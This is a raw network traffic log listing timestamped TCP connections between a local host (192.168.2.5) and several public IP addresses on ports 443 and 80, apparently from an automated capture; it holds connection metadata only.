Nov 24, 2024 04:23:47.450967073 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.452239037 CET	80	49995	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:47.452383041 CET	49995	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:47.452491045 CET	49995	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:47.455897093 CET	443	49978	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:47.456526041 CET	49978	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:47.458600044 CET	443	49975	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:47.459786892 CET	49975	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:47.459836006 CET	443	49975	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:47.460206985 CET	49975	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:47.460222006 CET	443	49975	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:47.461301088 CET	49978	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:47.461309910 CET	443	49978	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:47.461371899 CET	49978	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:47.461520910 CET	443	49978	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:47.461628914 CET	49978	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:47.550817966 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.550829887 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.550873041 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.550880909 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.550887108 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.550899029 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.550940990 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.563205957 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.563215017 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.563266039 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.563278913 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.571907043 CET	80	49995	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:47.583544016 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.583647013 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.583652973 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.583679914 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.583909988 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.583992004 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.585215092 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.585380077 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.585391998 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.586474895 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.586520910 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.586529016 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.587551117 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.587596893 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.587604046 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.589668036 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.589723110 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.589730978 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.590840101 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.590883970 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.590889931 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.592003107 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.592143059 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.592189074 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.592199087 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.592210054 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.592223883 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.593141079 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.594295979 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.594347000 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.594460964 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.595046043 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.595053911 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.595073938 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.595093012 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.595529079 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.595531940 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.595539093 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.596709013 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.597296953 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.597304106 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.597855091 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.597954988 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.597960949 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.600102901 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.600158930 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.600167036 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.601222992 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.601268053 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.601273060 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.602408886 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.602458000 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.602463961 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.603537083 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.603602886 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.603614092 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.604615927 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.604648113 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.604758978 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.604827881 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.604842901 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.604865074 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.604877949 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.604883909 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.605966091 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.606318951 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.606326103 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.607116938 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.607707977 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.607713938 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.609286070 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.609411955 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.609427929 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.609432936 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.609474897 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.609481096 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.611613035 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.611663103 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.611669064 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.612767935 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.612828970 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.613909006 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.615076065 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.615189075 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.615600109 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.615608931 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.616336107 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.616592884 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.616599083 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.617518902 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.617604971 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.617610931 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.618093014 CET	443	49981	35.244.181.201	192.168.2.5
Nov 24, 2024 04:23:47.618185997 CET	49981	443	192.168.2.5	35.244.181.201
Nov 24, 2024 04:23:47.619219065 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.620251894 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.620387077 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.621160030 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.621167898 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.621479034 CET	49981	443	192.168.2.5	35.244.181.201
Nov 24, 2024 04:23:47.621486902 CET	443	49981	35.244.181.201	192.168.2.5
Nov 24, 2024 04:23:47.621540070 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.621825933 CET	443	49981	35.244.181.201	192.168.2.5
Nov 24, 2024 04:23:47.622582912 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.623466015 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.623475075 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.623874903 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.623898029 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.623904943 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.625008106 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.625513077 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.625516891 CET	49981	443	192.168.2.5	35.244.181.201
Nov 24, 2024 04:23:47.625519037 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.625626087 CET	49981	443	192.168.2.5	35.244.181.201
Nov 24, 2024 04:23:47.625756979 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.625767946 CET	443	49981	35.244.181.201	192.168.2.5
Nov 24, 2024 04:23:47.625925064 CET	49981	443	192.168.2.5	35.244.181.201
Nov 24, 2024 04:23:47.626061916 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.627278090 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.627336979 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.627343893 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.628333092 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.628453970 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.628459930 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.629232883 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.629296064 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.629302025 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.631411076 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.631522894 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.632571936 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.632682085 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.633722067 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.633831024 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.635001898 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.636033058 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.636123896 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.637192965 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.637217045 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.637229919 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.637649059 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.637655020 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.638467073 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.638708115 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.638714075 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.640644073 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.640721083 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.641450882 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.641457081 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.641911983 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.641917944 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.642991066 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.643029928 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.643110991 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.643117905 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.643448114 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.644121885 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.654335976 CET	80	49984	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:47.654412985 CET	49984	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:47.685112000 CET	49703	443	192.168.2.5	23.1.237.91
Nov 24, 2024 04:23:47.685121059 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.685126066 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.744026899 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.744040012 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.744061947 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.744069099 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.744324923 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.744340897 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.744533062 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.756252050 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.756261110 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.756337881 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.756350994 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.762480021 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.762546062 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.762556076 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.763113022 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.772042990 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.775744915 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.776205063 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.776513100 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.776519060 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.776545048 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.777369022 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.777486086 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.777493000 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.778578997 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.779673100 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.780379057 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.780386925 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.780447006 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.780726910 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.781790018 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.781923056 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.781929970 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.783010960 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.784169912 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.784194946 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.785351038 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.785382032 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.786259890 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.786412001 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.787729025 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.787759066 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.788624048 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.788639069 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.788816929 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.789077044 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.789082050 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.790461063 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.790482044 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.790548086 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.790556908 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.790692091 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.791075945 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.791153908 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.791160107 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.792311907 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.792362928 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.792368889 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.793281078 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.793323040 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.793328047 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.794605017 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.794712067 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.794718027 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.795861006 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.796132088 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.796145916 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.796955109 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.797017097 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.797024012 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.798978090 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.799036026 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.799043894 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.800127983 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.800204992 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.800297022 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.800306082 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.800385952 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.801279068 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.802563906 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.802599907 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.802608013 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.802617073 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.802625895 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.802740097 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.802742004 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.802747965 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.802771091 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.803652048 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.804754972 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.804769039 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.824183941 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.824204922 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.824266911 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.824275017 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.824985981 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.832318068 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.832389116 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.832396030 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.832798958 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.853893042 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.853913069 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.857047081 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.857054949 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.861320972 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.862905025 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.863135099 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.863141060 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.897680044 CET	443	49985	34.160.144.191	192.168.2.5
Nov 24, 2024 04:23:47.900342941 CET	49985	443	192.168.2.5	34.160.144.191
Nov 24, 2024 04:23:47.900969028 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:47.903884888 CET	49985	443	192.168.2.5	34.160.144.191
Nov 24, 2024 04:23:47.903903961 CET	443	49985	34.160.144.191	192.168.2.5
Nov 24, 2024 04:23:47.904064894 CET	443	49975	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:47.904134989 CET	443	49985	34.160.144.191	192.168.2.5
Nov 24, 2024 04:23:47.906141043 CET	49985	443	192.168.2.5	34.160.144.191
Nov 24, 2024 04:23:47.906191111 CET	49985	443	192.168.2.5	34.160.144.191
Nov 24, 2024 04:23:47.906280041 CET	443	49985	34.160.144.191	192.168.2.5
Nov 24, 2024 04:23:47.906589985 CET	443	49975	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:47.907922029 CET	49985	443	192.168.2.5	34.160.144.191
Nov 24, 2024 04:23:47.907922029 CET	49985	443	192.168.2.5	34.160.144.191
Nov 24, 2024 04:23:47.908272028 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:47.908291101 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:47.908339024 CET	49975	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:47.908576012 CET	49975	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:47.908593893 CET	443	49975	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:47.908608913 CET	49975	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:47.908616066 CET	443	49975	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:47.911390066 CET	49997	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:47.911422968 CET	443	49997	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:47.911526918 CET	49997	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:47.911812067 CET	49997	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:47.911827087 CET	443	49997	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:47.912317038 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:47.912499905 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:47.913703918 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:47.913880110 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:47.913892031 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:47.958539963 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.958564997 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.959331036 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:47.960572958 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.960587025 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.960906029 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.965451002 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.965457916 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.968997002 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.969003916 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.969269037 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.979310989 CET	443	49979	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:47.979715109 CET	49979	443	192.168.2.5	13.107.246.63
